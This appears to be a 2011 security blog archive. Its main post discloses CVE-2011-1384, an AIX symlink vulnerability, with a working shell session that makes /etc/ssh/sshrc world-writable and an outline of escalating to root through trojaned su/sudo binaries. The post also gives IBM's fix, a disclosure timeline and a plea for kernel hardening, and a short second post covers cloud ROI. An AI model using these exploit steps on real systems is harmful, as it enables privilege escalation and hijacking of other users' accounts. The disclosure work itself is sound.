Archive for December, 2011

CVE-2011-1384 AIX inventory scout file deletion and symlink vulnerability

Thursday, December 29th, 2011

It’s been two weeks after publishing official advisory by IBM for this vulnerability in AIX 5.3 (not tested by me) 6.1 (tested by me) and 7.1 (also tested by me) here so i’m going to talk a little bit about technical details. The attack is very trivial and it exists due to the SUID binary invscoutClient_VPD_Survey installed by default in any version of AIX.

guest@XXX:# ln -s /etc/ssh/sshrc /tmp/invtemp.log
guest@XXX:# umask 0000
guest@XXX:# /opt/IBMinvscout/bin/invscoutClient_VPD_Survey
guest@XXX:# ls -l /etc/ssh/sshrc
-rw-rw-rw-    1 root     staff         12591 May 20 03:18 /etc/ssh/sshrc
guest@XXX:# cat > /etc/ssh/sshrc
# place your commands here to be executed as owned users
guest@XXX:# ls -l /etc/ssh/sshrc
-rw-rw-rw-    1 root     staff            36 May 20 03:19 /etc/ssh/sshrc
guest@XXX:# oslevel -s
6100-06-02-1044       <-- YAY!
guest@XXX:# ls -l /opt/IBMinvscout/bin/invscoutClient_VPD_Survey
-r-sr-xr-x    1 root     system     11779340 Jun 30 2010  /opt/IBMinvscout/bin/invscoutClient_VPD_Survey

So what happens is that invscoutClient_VPD_Survey overwrites (or creates) anything located under /tmp/invtemp.log… even if it really exists. If it doesn’t exists (soft link to non-existing file such as e.g. /etc/ssh/sshrc) then it is created using default umask. Of course all of this works on every non-privileged user…

There are many attack vectors but I’m presenting /etc/ssh/sshrc here mainly because it is one of the simplest ones. After such attack nothing happens until someone logs into the box using SSH, then for example OpenSSH daemon is going to read and execute the contents of /etc/ssh/sshrc under the privileges of the logging in user (e.g. guest can hijack “admin” account or “root” account if that one is used e.g. for routine SSH activities after SSH key exchange; if only “admin” could be taken over, one can simply escalate privileges to “root” by installing hijacked version of “su” or “sudo” binary and altering $PATH – this would allow stealing root’s password and/or privileges)

Fixing is very trivial for this one, just follow the guide by IBM (yup, dropping the SUID does nothing wrong for your system).

Timeline is as follows:

  • Discovered: 19.05.2011
  • Submitted to IBM: 24.06.2011
  • 1st IBM response: 05.07.2011

Next ones to follow… however one thing worries me the most. Whole world knows about such kind class of attacks, but there is not a single major vendor on this planet that would prevent such kind of attacks from happening by hardening the OS kernel. For example GRSecurity and OpenWall projects are completely different, such kind of protection (symlink races, /tmp protection) exists for almost a decade there… but those are kernel patches for Linux, not something I would consider mainstream… unfortunately. GRSecurity is really excellent piece of work, they have implemented a realistic protection against realistic technical real-world flaws. So my question is simple, is any of the major OS vendors is interested in realistic security at all?

There is a also a very good discussion about /tmp UNIX/POSIX problems and general poor written code on LWN. Also the list of similar attacks is pretty long (as of writing 264 vulnerabilities).

Solution could be pretty obvious at the heart/kernel of such system as AIX, just implement logic such as following pseudo C code inside open(2)/creat(2) system calls:

if((flags & AM_I_WRITING) != 0) {

   if(is_symlink(fd) && symlink_endpoint_owner_is_different_user(fd, current_user)) {
      return -EACCES;

This may not be the best solution as GRSecurity has something like this, which may be much better suited for this particular problem:

bool “Linking restrictions”
If you say Y here, /tmp race exploits will be prevented, since users
will no longer be able to follow symlinks owned by other users in
world-writable +t directories (e.g. /tmp), unless the owner of the
symlink is the owner of the directory. users will also not be
able to hardlink to files they do not own. If the sysctl option is
enabled, a sysctl option with name “linking_restrictions” is created.

External IaaS vs ROI ? An impressive mind opening comment on Chuck’s EMC blog…

Wednesday, December 28th, 2011

Please take a look on first comment by “nate” on Chuck’s EMC blog article titled
“Why The Cloud Discussion Is So Polarizing”… , he writes this:

(..) I have spent a bit over a year managing systems in the Amazon cloud and I have to say it is the most frustrating experience ever. I’m flying to Atlanta tomorrow night to start installing hardware to move my current company out of it. ROI? 6 months or less. And we get tons more functionality, uptime, less latency etc. (..)